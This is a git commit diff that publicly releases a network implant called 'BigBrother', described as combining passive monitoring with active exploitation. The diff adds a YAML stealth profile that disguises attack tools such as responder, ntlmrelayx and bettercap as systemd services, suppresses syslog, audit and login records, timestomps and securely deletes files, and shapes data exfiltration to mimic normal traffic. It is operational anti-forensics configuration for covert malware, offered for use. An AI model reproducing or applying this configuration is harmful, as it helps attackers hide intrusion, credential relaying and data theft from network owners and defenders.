Initial public release

Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
@@ -0,0 +1,53 @@
+# BigBrother Stealth / OPSEC Profile
+# Process disguise, log suppression, anti-forensics, traffic mimicry.
+
+# ---------------------------------------------------------------------------
+# Process Name Disguise
+# All managed processes renamed to innocuous system service names.
+# /proc/PID/exe still points to real binary (unavoidable without LKM).
+# ---------------------------------------------------------------------------
+process_names:
+  python3: "systemd-thermald"
+  bettercap: "networkd-dispatcher"
+  tcpdump: "systemd-netlogd"
+  responder: "systemd-resolved"
+  mitmproxy: "systemd-networkd"
+  ntlmrelayx: "systemd-logind"
+  hostapd: "wpa_supplicant"
+  dnsmasq: "systemd-resolved"
+
+# ---------------------------------------------------------------------------
+# Log Suppression
+# Minimize forensic artifacts in system logs.
+# ---------------------------------------------------------------------------
+log_suppression:
+  rsyslog_filter: true              # Drop log entries matching our processes/paths
+  auditd_exclusion: true            # Exclude our PIDs/paths from audit rules
+  journald_rate_limit: true         # Rate-limit journal entries from our services
+  bash_history: false               # Disable bash history for root/.bashrc
+  utmp_wtmp: false                  # Suppress login records (utmp/wtmp/btmp)
+
+# ---------------------------------------------------------------------------
+# Anti-Forensics
+# Minimize on-disk evidence.
+# ---------------------------------------------------------------------------
+anti_forensics:
+  timestomp: true                   # Match all file timestamps to reference file
+  timestomp_reference: "/etc/os-release"  # Use OS install date as reference
+  core_dumps: false                 # Disable core dumps (ulimit -c 0)
+  swap: false                       # Disable swap entirely (swapoff -a)
+  secure_delete: true               # Overwrite before unlink for sensitive files
+  bettercap_home_tmpfs: true        # Set $HOME to tmpfs (no ~/.bettercap/ artifacts)
+  bettercap_no_history: true        # --no-history flag for bettercap
+
+# ---------------------------------------------------------------------------
+# Traffic Mimicry
+# Shape implant traffic to match observed network baseline.
+# ---------------------------------------------------------------------------
+traffic_mimicry:
+  enabled: true
+  baseline_hours: 48                # Duration of traffic baseline collection
+  shape_exfil: true                 # Time and size exfil to match upload patterns
+  match_protocols: true             # Use same protocols as observed traffic
+  match_timing: true                # Match time-of-day activity patterns
+  jitter_pct: 15                    # Random jitter on all timed operations